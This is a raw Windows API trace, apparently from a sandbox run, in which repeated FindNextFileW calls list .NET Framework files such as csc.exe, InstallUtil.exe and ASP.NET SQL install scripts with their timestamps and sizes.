	[0087.944] FindNextFileW (in: hFindFile=0x7ebae8, lpFindFileData=0x12415938 | out: lpFindFileData=0x12415938*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe00bd7f6, ftCreationTime.dwHighDateTime=0x1ca042b, ftLastAccessTime.dwLowDateTime=0xe00bd7f6, ftLastAccessTime.dwHighDateTime=0x1ca042b, ftLastWriteTime.dwLowDateTime=0x962733f3, ftLastWriteTime.dwHighDateTime=0x1c9ea0b, nFileSizeHigh=0x0, nFileSizeLow=0xcd, dwReserved0=0x0, dwReserved1=0x0, cFileName="Aspnet_regsql.exe.config", cAlternateFileName="ASPNET~2.CON")) returned 1
	[0087.944] FindNextFileW (in: hFindFile=0x7ebae8, lpFindFileData=0x12415938 | out: lpFindFileData=0x12415938*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb42c6921, ftCreationTime.dwHighDateTime=0x1ca03f9, ftLastAccessTime.dwLowDateTime=0xb42c6921, ftLastAccessTime.dwHighDateTime=0x1ca03f9, ftLastWriteTime.dwLowDateTime=0x9630b96b, ftLastWriteTime.dwHighDateTime=0x1c9ea0b, nFileSizeHigh=0x0, nFileSizeLow=0xa758, dwReserved0=0x0, dwReserved1=0x0, cFileName="aspnet_state.exe", cAlternateFileName="")) returned 1
	[0087.944] FindNextFileW (in: hFindFile=0x7ebae8, lpFindFileData=0x12415938 | out: lpFindFileData=0x12415938*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb43d12ac, ftCreationTime.dwHighDateTime=0x1ca03f9, ftLastAccessTime.dwLowDateTime=0xb43d12ac, ftLastAccessTime.dwHighDateTime=0x1ca03f9, ftLastWriteTime.dwLowDateTime=0x963a3ee3, ftLastWriteTime.dwHighDateTime=0x1c9ea0b, nFileSizeHigh=0x0, nFileSizeLow=0x13e, dwReserved0=0x0, dwReserved1=0x0, cFileName="aspnet_state_perf.h", cAlternateFileName="")) returned 1
	[0087.944] FindNextFileW (in: hFindFile=0x7ebae8, lpFindFileData=0x12415938 | out: lpFindFileData=0x12415938*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb441d566, ftCreationTime.dwHighDateTime=0x1ca03f9, ftLastAccessTime.dwLowDateTime=0xb441d566, ftLastAccessTime.dwHighDateTime=0x1ca03f9, ftLastWriteTime.dwLowDateTime=0x963ca041, ftLastWriteTime.dwHighDateTime=0x1c9ea0b, nFileSizeHigh=0x0, nFileSizeLow=0x9ae2, dwReserved0=0x0, dwReserved1=0x0, cFileName="aspnet_state_perf.ini", cAlternateFileName="")) returned 1
	[0087.944] FindNextFileW (in: hFindFile=0x7ebae8, lpFindFileData=0x12415938 | out: lpFindFileData=0x12415938*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x874c84ba, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x874c84ba, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x874ee61a, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0xa550, dwReserved0=0x0, dwReserved1=0x0, cFileName="aspnet_wp.exe", cAlternateFileName="")) returned 1
	[0087.944] FindNextFileW (in: hFindFile=0x7ebae8, lpFindFileData=0x12415938 | out: lpFindFileData=0x12415938*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb47170aa, ftCreationTime.dwHighDateTime=0x1ca03f9, ftLastAccessTime.dwLowDateTime=0xb47170aa, ftLastAccessTime.dwHighDateTime=0x1ca03f9, ftLastWriteTime.dwLowDateTime=0x965930a9, ftLastWriteTime.dwHighDateTime=0x1c9ea0b, nFileSizeHigh=0x0, nFileSizeLow=0x104a8, dwReserved0=0x0, dwReserved1=0x0, cFileName="big5.nlp", cAlternateFileName="")) returned 1
	[0087.944] FindNextFileW (in: hFindFile=0x7ebae8, lpFindFileData=0x12415938 | out: lpFindFileData=0x12415938*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb473d207, ftCreationTime.dwHighDateTime=0x1ca03f9, ftLastAccessTime.dwLowDateTime=0xb473d207, ftLastAccessTime.dwHighDateTime=0x1ca03f9, ftLastWriteTime.dwLowDateTime=0x965b9207, ftLastWriteTime.dwHighDateTime=0x1c9ea0b, nFileSizeHigh=0x0, nFileSizeLow=0x140fc, dwReserved0=0x0, dwReserved1=0x0, cFileName="bopomofo.nlp", cAlternateFileName="")) returned 1
	[0087.944] FindNextFileW (in: hFindFile=0x7ebae8, lpFindFileData=0x12415938 | out: lpFindFileData=0x12415938*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x92c5e6cc, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x92c5e6cc, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x92c5e6cc, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x19000, dwReserved0=0x0, dwReserved1=0x0, cFileName="CasPol.exe", cAlternateFileName="")) returned 1
	[0087.944] FindNextFileW (in: hFindFile=0x7ebae8, lpFindFileData=0x12415938 | out: lpFindFileData=0x12415938*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdb20a6c9, ftCreationTime.dwHighDateTime=0x1ca042b, ftLastAccessTime.dwLowDateTime=0xdb20a6c9, ftLastAccessTime.dwHighDateTime=0x1ca042b, ftLastWriteTime.dwLowDateTime=0x966054c3, ftLastWriteTime.dwHighDateTime=0x1c9ea0b, nFileSizeHigh=0x0, nFileSizeLow=0xb5, dwReserved0=0x0, dwReserved1=0x0, cFileName="caspol.exe.config", cAlternateFileName="CASPOL~1.CON")) returned 1
	[0087.944] FindNextFileW (in: hFindFile=0x7ebae8, lpFindFileData=0x12415938 | out: lpFindFileData=0x12415938*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9d397180, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x9d397180, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x9d3bd2e0, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x562e, dwReserved0=0x0, dwReserved1=0x0, cFileName="CLR.mof", cAlternateFileName="")) returned 1
	[0087.945] FindNextFileW (in: hFindFile=0x7ebae8, lpFindFileData=0x12415938 | out: lpFindFileData=0x12415938*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb486dcef, ftCreationTime.dwHighDateTime=0x1ca03f9, ftLastAccessTime.dwLowDateTime=0xb486dcef, ftLastAccessTime.dwHighDateTime=0x1ca03f9, ftLastWriteTime.dwLowDateTime=0x9665177f, ftLastWriteTime.dwHighDateTime=0x1c9ea0b, nFileSizeHigh=0x0, nFileSizeLow=0x38b, dwReserved0=0x0, dwReserved1=0x0, cFileName="CLR.mof.uninstall", cAlternateFileName="")) returned 1
	[0087.945] FindNextFileW (in: hFindFile=0x7ebae8, lpFindFileData=0x12415938 | out: lpFindFileData=0x12415938*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfe97aa96, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x3fb91724, ftLastAccessTime.dwHighDateTime=0x1ca043f, ftLastWriteTime.dwLowDateTime=0x3fb91724, ftLastWriteTime.dwHighDateTime=0x1ca043f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="CONFIG", cAlternateFileName="")) returned 1
	[0087.945] FindNextFileW (in: hFindFile=0x7ebae8, lpFindFileData=0x12415938 | out: lpFindFileData=0x12415938*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8e5ffbea, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x8e5ffbea, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x8e625d4b, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x16f58, dwReserved0=0x0, dwReserved1=0x0, cFileName="CORPerfMonExt.dll", cAlternateFileName="")) returned 1
	[0087.945] FindNextFileW (in: hFindFile=0x7ebae8, lpFindFileData=0x12415938 | out: lpFindFileData=0x12415938*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb4c4c061, ftCreationTime.dwHighDateTime=0x1ca03f9, ftLastAccessTime.dwLowDateTime=0xb4c4c061, ftLastAccessTime.dwHighDateTime=0x1ca03f9, ftLastWriteTime.dwLowDateTime=0x980ccadb, ftLastWriteTime.dwHighDateTime=0x1c9ea0b, nFileSizeHigh=0x0, nFileSizeLow=0x15738, dwReserved0=0x0, dwReserved1=0x0, cFileName="csc.exe", cAlternateFileName="")) returned 1
	[0087.945] FindNextFileW (in: hFindFile=0x7ebae8, lpFindFileData=0x12415938 | out: lpFindFileData=0x12415938*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdd787e55, ftCreationTime.dwHighDateTime=0x1ca042b, ftLastAccessTime.dwLowDateTime=0xdd787e55, ftLastAccessTime.dwHighDateTime=0x1ca042b, ftLastWriteTime.dwLowDateTime=0x980f2c39, ftLastWriteTime.dwHighDateTime=0x1c9ea0b, nFileSizeHigh=0x0, nFileSizeLow=0xdd, dwReserved0=0x0, dwReserved1=0x0, cFileName="csc.exe.config", cAlternateFileName="CSCEXE~1.CON")) returned 1
	[0087.945] FindNextFileW (in: hFindFile=0x7ebae8, lpFindFileData=0x12415938 | out: lpFindFileData=0x12415938*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdfe360c9, ftCreationTime.dwHighDateTime=0x1ca042b, ftLastAccessTime.dwLowDateTime=0xdfe360c9, ftLastAccessTime.dwHighDateTime=0x1ca042b, ftLastWriteTime.dwLowDateTime=0x9818b1b1, ftLastWriteTime.dwHighDateTime=0x1c9ea0b, nFileSizeHigh=0x0, nFileSizeLow=0x3d0, dwReserved0=0x0, dwReserved1=0x0, cFileName="csc.rsp", cAlternateFileName="")) returned 1
	[0087.945] FindNextFileW (in: hFindFile=0x7ebae8, lpFindFileData=0x12415938 | out: lpFindFileData=0x12415938*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8f14e47f, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x8f14e47f, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x8f19a740, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x1e4348, dwReserved0=0x0, dwReserved1=0x0, cFileName="cscomp.dll", cAlternateFileName="")) returned 1
	[0087.945] FindNextFileW (in: hFindFile=0x7ebae8, lpFindFileData=0x12415938 | out: lpFindFileData=0x12415938*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb5134d5e, ftCreationTime.dwHighDateTime=0x1ca03f9, ftLastAccessTime.dwLowDateTime=0xb5134d5e, ftLastAccessTime.dwHighDateTime=0x1ca03f9, ftLastWriteTime.dwLowDateTime=0x982e1dff, ftLastWriteTime.dwHighDateTime=0x1c9ea0b, nFileSizeHigh=0x0, nFileSizeLow=0x3400, dwReserved0=0x0, dwReserved1=0x0, cFileName="cscompmgd.dll", cAlternateFileName="")) returned 1
	[0087.945] FindNextFileW (in: hFindFile=0x7ebae8, lpFindFileData=0x12415938 | out: lpFindFileData=0x12415938*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb5181018, ftCreationTime.dwHighDateTime=0x1ca03f9, ftLastAccessTime.dwLowDateTime=0xb5181018, ftLastAccessTime.dwHighDateTime=0x1ca03f9, ftLastWriteTime.dwLowDateTime=0x9832e0bb, ftLastWriteTime.dwHighDateTime=0x1c9ea0b, nFileSizeHigh=0x0, nFileSizeLow=0x6f50, dwReserved0=0x0, dwReserved1=0x0, cFileName="Culture.dll", cAlternateFileName="")) returned 1
	[0087.945] FindNextFileW (in: hFindFile=0x7ebae8, lpFindFileData=0x12415938 | out: lpFindFileData=0x12415938*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x87db574a, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x87db574a, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x87db574a, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x13c00, dwReserved0=0x0, dwReserved1=0x0, cFileName="CustomMarshalers.dll", cAlternateFileName="")) returned 1
	[0087.945] FindNextFileW (in: hFindFile=0x7ebae8, lpFindFileData=0x12415938 | out: lpFindFileData=0x12415938*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9ad5afda, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x9ad5afda, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x9ad8113a, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x9548, dwReserved0=0x0, dwReserved1=0x0, cFileName="cvtres.exe", cAlternateFileName="")) returned 1
	[0087.946] FindNextFileW (in: hFindFile=0x7ebae8, lpFindFileData=0x12415938 | out: lpFindFileData=0x12415938*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb547ab5c, ftCreationTime.dwHighDateTime=0x1ca03f9, ftLastAccessTime.dwLowDateTime=0xb547ab5c, ftLastAccessTime.dwHighDateTime=0x1ca03f9, ftLastWriteTime.dwLowDateTime=0x987325a5, ftLastWriteTime.dwHighDateTime=0x1c9ea0b, nFileSizeHigh=0x0, nFileSizeLow=0x1e348, dwReserved0=0x0, dwReserved1=0x0, cFileName="dfdll.dll", cAlternateFileName="")) returned 1
	[0087.946] FindNextFileW (in: hFindFile=0x7ebae8, lpFindFileData=0x12415938 | out: lpFindFileData=0x12415938*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb555f38a, ftCreationTime.dwHighDateTime=0x1ca03f9, ftLastAccessTime.dwLowDateTime=0xb555f38a, ftLastAccessTime.dwHighDateTime=0x1ca03f9, ftLastWriteTime.dwLowDateTime=0x9877e861, ftLastWriteTime.dwHighDateTime=0x1c9ea0b, nFileSizeHigh=0x0, nFileSizeLow=0x1400, dwReserved0=0x0, dwReserved1=0x0, cFileName="dfsvc.exe", cAlternateFileName="")) returned 1
	[0087.946] FindNextFileW (in: hFindFile=0x7ebae8, lpFindFileData=0x12415938 | out: lpFindFileData=0x12415938*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x97a9fa9c, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x97a9fa9c, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x97aebd5d, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0xc2958, dwReserved0=0x0, dwReserved1=0x0, cFileName="diasymreader.dll", cAlternateFileName="")) returned 1
	[0087.946] FindNextFileW (in: hFindFile=0x7ebae8, lpFindFileData=0x12415938 | out: lpFindFileData=0x12415938*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb58cb2e5, ftCreationTime.dwHighDateTime=0x1ca03f9, ftLastAccessTime.dwLowDateTime=0xb58cb2e5, ftLastAccessTime.dwHighDateTime=0x1ca03f9, ftLastWriteTime.dwLowDateTime=0x99a63603, ftLastWriteTime.dwHighDateTime=0x1c9ea0b, nFileSizeHigh=0x0, nFileSizeLow=0x1c1bb, dwReserved0=0x0, dwReserved1=0x0, cFileName="dv_aspnetmmc.chm", cAlternateFileName="")) returned 1
	[0087.946] FindNextFileW (in: hFindFile=0x7ebae8, lpFindFileData=0x12415938 | out: lpFindFileData=0x12415938*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb59899b6, ftCreationTime.dwHighDateTime=0x1ca03f9, ftLastAccessTime.dwLowDateTime=0xb59899b6, ftLastAccessTime.dwHighDateTime=0x1ca03f9, ftLastWriteTime.dwLowDateTime=0x99a89761, ftLastWriteTime.dwHighDateTime=0x1c9ea0b, nFileSizeHigh=0x0, nFileSizeLow=0xa748, dwReserved0=0x0, dwReserved1=0x0, cFileName="dw20.exe", cAlternateFileName="")) returned 1
	[0087.946] FindNextFileW (in: hFindFile=0x7ebae8, lpFindFileData=0x12415938 | out: lpFindFileData=0x12415938*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb59d5c70, ftCreationTime.dwHighDateTime=0x1ca03f9, ftLastAccessTime.dwLowDateTime=0xb59d5c70, ftLastAccessTime.dwHighDateTime=0x1ca03f9, ftLastWriteTime.dwLowDateTime=0x99c527c9, ftLastWriteTime.dwHighDateTime=0x1c9ea0b, nFileSizeHigh=0x0, nFileSizeLow=0xc1f50, dwReserved0=0x0, dwReserved1=0x0, cFileName="EventLogMessages.dll", cAlternateFileName="")) returned 1
	[0087.946] FindNextFileW (in: hFindFile=0x7ebae8, lpFindFileData=0x12415938 | out: lpFindFileData=0x12415938*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb5b06758, ftCreationTime.dwHighDateTime=0x1ca03f9, ftLastAccessTime.dwLowDateTime=0xb5b06758, ftLastAccessTime.dwHighDateTime=0x1ca03f9, ftLastWriteTime.dwLowDateTime=0x99c78927, ftLastWriteTime.dwHighDateTime=0x1c9ea0b, nFileSizeHigh=0x0, nFileSizeLow=0x4548, dwReserved0=0x0, dwReserved1=0x0, cFileName="fusion.dll", cAlternateFileName="")) returned 1
	[0087.946] FindNextFileW (in: hFindFile=0x7ebae8, lpFindFileData=0x12415938 | out: lpFindFileData=0x12415938*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb5b9eccc, ftCreationTime.dwHighDateTime=0x1ca03f9, ftLastAccessTime.dwLowDateTime=0xb5b9eccc, ftLastAccessTime.dwHighDateTime=0x1ca03f9, ftLastWriteTime.dwLowDateTime=0x9a32a6ad, ftLastWriteTime.dwHighDateTime=0x1c9ea0b, nFileSizeHigh=0x0, nFileSizeLow=0x2600, dwReserved0=0x0, dwReserved1=0x0, cFileName="IEExec.exe", cAlternateFileName="")) returned 1
	[0087.946] FindNextFileW (in: hFindFile=0x7ebae8, lpFindFileData=0x12415938 | out: lpFindFileData=0x12415938*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdb50420d, ftCreationTime.dwHighDateTime=0x1ca042b, ftLastAccessTime.dwLowDateTime=0xdb50420d, ftLastAccessTime.dwHighDateTime=0x1ca042b, ftLastWriteTime.dwLowDateTime=0x9a4812fb, ftLastWriteTime.dwHighDateTime=0x1c9ea0b, nFileSizeHigh=0x0, nFileSizeLow=0xb5, dwReserved0=0x0, dwReserved1=0x0, cFileName="ieexec.exe.config", cAlternateFileName="IEEXEC~1.CON")) returned 1
	[0087.946] FindNextFileW (in: hFindFile=0x7ebae8, lpFindFileData=0x12415938 | out: lpFindFileData=0x12415938*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb5c37240, ftCreationTime.dwHighDateTime=0x1ca03f9, ftLastAccessTime.dwLowDateTime=0xb5c37240, ftLastAccessTime.dwHighDateTime=0x1ca03f9, ftLastWriteTime.dwLowDateTime=0x9a565b2f, ftLastWriteTime.dwHighDateTime=0x1c9ea0b, nFileSizeHigh=0x0, nFileSizeLow=0x2000, dwReserved0=0x0, dwReserved1=0x0, cFileName="IEExecRemote.dll", cAlternateFileName="")) returned 1
	[0087.946] FindNextFileW (in: hFindFile=0x7ebae8, lpFindFileData=0x12415938 | out: lpFindFileData=0x12415938*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb5ca9657, ftCreationTime.dwHighDateTime=0x1ca03f9, ftLastAccessTime.dwLowDateTime=0xb5ca9657, ftLastAccessTime.dwHighDateTime=0x1ca03f9, ftLastWriteTime.dwLowDateTime=0x9a7c710f, ftLastWriteTime.dwHighDateTime=0x1c9ea0b, nFileSizeHigh=0x0, nFileSizeLow=0x13000, dwReserved0=0x0, dwReserved1=0x0, cFileName="IEHost.dll", cAlternateFileName="")) returned 1
	[0087.946] FindNextFileW (in: hFindFile=0x7ebae8, lpFindFileData=0x12415938 | out: lpFindFileData=0x12415938*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb5cf5911, ftCreationTime.dwHighDateTime=0x1ca03f9, ftLastAccessTime.dwLowDateTime=0xb5cf5911, ftLastAccessTime.dwHighDateTime=0x1ca03f9, ftLastWriteTime.dwLowDateTime=0x9afcfae3, ftLastWriteTime.dwHighDateTime=0x1c9ea0b, nFileSizeHigh=0x0, nFileSizeLow=0x1a00, dwReserved0=0x0, dwReserved1=0x0, cFileName="IIEHost.dll", cAlternateFileName="")) returned 1
	[0087.946] FindNextFileW (in: hFindFile=0x7ebae8, lpFindFileData=0x12415938 | out: lpFindFileData=0x12415938*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x87b54146, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x87b54146, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x87b7a2a6, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x50148, dwReserved0=0x0, dwReserved1=0x0, cFileName="ilasm.exe", cAlternateFileName="")) returned 1
	[0087.946] FindNextFileW (in: hFindFile=0x7ebae8, lpFindFileData=0x12415938 | out: lpFindFileData=0x12415938*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdf43e572, ftCreationTime.dwHighDateTime=0x1ca042b, ftLastAccessTime.dwLowDateTime=0xdf43e572, ftLastAccessTime.dwHighDateTime=0x1ca042b, ftLastWriteTime.dwLowDateTime=0x9b5e92f1, ftLastWriteTime.dwHighDateTime=0x1c9ea0b, nFileSizeHigh=0x0, nFileSizeLow=0xb5, dwReserved0=0x0, dwReserved1=0x0, cFileName="ilasm.exe.config", cAlternateFileName="ILASME~1.CON")) returned 1
	[0087.946] FindNextFileW (in: hFindFile=0x7ebae8, lpFindFileData=0x12415938 | out: lpFindFileData=0x12415938*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdb870168, ftCreationTime.dwHighDateTime=0x1ca042b, ftLastAccessTime.dwLowDateTime=0xdb870168, ftLastAccessTime.dwHighDateTime=0x1ca042b, ftLastWriteTime.dwLowDateTime=0x9bfe0e8b, ftLastWriteTime.dwHighDateTime=0x1c9ea0b, nFileSizeHigh=0x0, nFileSizeLow=0x601b, dwReserved0=0x0, dwReserved1=0x0, cFileName="InstallCommon.sql", cAlternateFileName="INSTAL~1.SQL")) returned 1
	[0087.946] FindNextFileW (in: hFindFile=0x7ebae8, lpFindFileData=0x12415938 | out: lpFindFileData=0x12415938*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xde8a3b1c, ftCreationTime.dwHighDateTime=0x1ca042b, ftLastAccessTime.dwLowDateTime=0xde8a3b1c, ftLastAccessTime.dwHighDateTime=0x1ca042b, ftLastWriteTime.dwLowDateTime=0x9c006fe9, ftLastWriteTime.dwHighDateTime=0x1c9ea0b, nFileSizeHigh=0x0, nFileSizeLow=0xdb09, dwReserved0=0x0, dwReserved1=0x0, cFileName="InstallMembership.sql", cAlternateFileName="INSTAL~2.SQL")) returned 1
	[0087.946] FindNextFileW (in: hFindFile=0x7ebae8, lpFindFileData=0x12415938 | out: lpFindFileData=0x12415938*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdfea84e0, ftCreationTime.dwHighDateTime=0x1ca042b, ftLastAccessTime.dwLowDateTime=0xdfea84e0, ftLastAccessTime.dwHighDateTime=0x1ca042b, ftLastWriteTime.dwLowDateTime=0x9c006fe9, ftLastWriteTime.dwHighDateTime=0x1c9ea0b, nFileSizeHigh=0x0, nFileSizeLow=0xcc7b, dwReserved0=0x0, dwReserved1=0x0, cFileName="InstallPersistSqlState.sql", cAlternateFileName="INSTAL~3.SQL")) returned 1
	[0087.946] FindNextFileW (in: hFindFile=0x7ebae8, lpFindFileData=0x12415938 | out: lpFindFileData=0x12415938*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdde39bae, ftCreationTime.dwHighDateTime=0x1ca042b, ftLastAccessTime.dwLowDateTime=0xdde39bae, ftLastAccessTime.dwHighDateTime=0x1ca042b, ftLastWriteTime.dwLowDateTime=0x9c02d147, ftLastWriteTime.dwHighDateTime=0x1c9ea0b, nFileSizeHigh=0x0, nFileSizeLow=0x8886, dwReserved0=0x0, dwReserved1=0x0, cFileName="InstallPersonalization.sql", cAlternateFileName="INSTAL~4.SQL")) returned 1
	[0087.946] FindNextFileW (in: hFindFile=0x7ebae8, lpFindFileData=0x12415938 | out: lpFindFileData=0x12415938*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdb9086dc, ftCreationTime.dwHighDateTime=0x1ca042b, ftLastAccessTime.dwLowDateTime=0xdb9086dc, ftLastAccessTime.dwHighDateTime=0x1ca042b, ftLastWriteTime.dwLowDateTime=0x9c0532a5, ftLastWriteTime.dwHighDateTime=0x1c9ea0b, nFileSizeHigh=0x0, nFileSizeLow=0x519b, dwReserved0=0x0, dwReserved1=0x0, cFileName="InstallProfile.SQL", cAlternateFileName="INB97C~1.SQL")) returned 1
	[0087.946] FindNextFileW (in: hFindFile=0x7ebae8, lpFindFileData=0x12415938 | out: lpFindFileData=0x12415938*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xda7c68b8, ftCreationTime.dwHighDateTime=0x1ca042b, ftLastAccessTime.dwLowDateTime=0xda7c68b8, ftLastAccessTime.dwHighDateTime=0x1ca042b, ftLastWriteTime.dwLowDateTime=0x9c0532a5, ftLastWriteTime.dwHighDateTime=0x1c9ea0b, nFileSizeHigh=0x0, nFileSizeLow=0x85d8, dwReserved0=0x0, dwReserved1=0x0, cFileName="InstallRoles.sql", cAlternateFileName="IN0205~1.SQL")) returned 1
	[0087.946] FindNextFileW (in: hFindFile=0x7ebae8, lpFindFileData=0x12415938 | out: lpFindFileData=0x12415938*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xda5fd85c, ftCreationTime.dwHighDateTime=0x1ca042b, ftLastAccessTime.dwLowDateTime=0xda5fd85c, ftLastAccessTime.dwHighDateTime=0x1ca042b, ftLastWriteTime.dwLowDateTime=0x9c079403, ftLastWriteTime.dwHighDateTime=0x1c9ea0b, nFileSizeHigh=0x0, nFileSizeLow=0xcba3, dwReserved0=0x0, dwReserved1=0x0, cFileName="InstallSqlState.sql", cAlternateFileName="IN1007~1.SQL")) returned 1
	[0087.947] FindNextFileW (in: hFindFile=0x7ebae8, lpFindFileData=0x12415938 | out: lpFindFileData=0x12415938*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdf37fea1, ftCreationTime.dwHighDateTime=0x1ca042b, ftLastAccessTime.dwLowDateTime=0xdf37fea1, ftLastAccessTime.dwHighDateTime=0x1ca042b, ftLastWriteTime.dwLowDateTime=0x9c09f561, ftLastWriteTime.dwHighDateTime=0x1c9ea0b, nFileSizeHigh=0x0, nFileSizeLow=0xd28f, dwReserved0=0x0, dwReserved1=0x0, cFileName="InstallSqlStateTemplate.sql", cAlternateFileName="IN9021~1.SQL")) returned 1
	[0087.947] FindNextFileW (in: hFindFile=0x7ebae8, lpFindFileData=0x12415938 | out: lpFindFileData=0x12415938*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x99116a66, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x99116a66, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x99116a66, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x6000, dwReserved0=0x0, dwReserved1=0x0, cFileName="InstallUtil.exe", cAlternateFileName="")) returned 1
	[0087.947] FindNextFileW (in: hFindFile=0x7ebae8, lpFindFileData=0x12415938 | out: lpFindFileData=0x12415938*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb61de60e, ftCreationTime.dwHighDateTime=0x1ca03f9, ftLastAccessTime.dwLowDateTime=0xb61de60e, ftLastAccessTime.dwHighDateTime=0x1ca03f9, ftLastWriteTime.dwLowDateTime=0x9c0eb81d, ftLastWriteTime.dwHighDateTime=0x1c9ea0b, nFileSizeHigh=0x0, nFileSizeLow=0x12150, dwReserved0=0x0, dwReserved1=0x0, cFileName="InstallUtilLib.dll", cAlternateFileName="")) returned 1
	[0087.947] FindNextFileW (in: hFindFile=0x7ebae8, lpFindFileData=0x12415938 | out: lpFindFileData=0x12415938*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdaeeaa28, ftCreationTime.dwHighDateTime=0x1ca042b, ftLastAccessTime.dwLowDateTime=0xdaeeaa28, ftLastAccessTime.dwHighDateTime=0x1ca042b, ftLastWriteTime.dwLowDateTime=0x9c137ad9, ftLastWriteTime.dwHighDateTime=0x1c9ea0b, nFileSizeHigh=0x0, nFileSizeLow=0x1939, dwReserved0=0x0, dwReserved1=0x0, cFileName="InstallWebEventSqlProvider.sql", cAlternateFileName="IN9D11~1.SQL")) returned 1
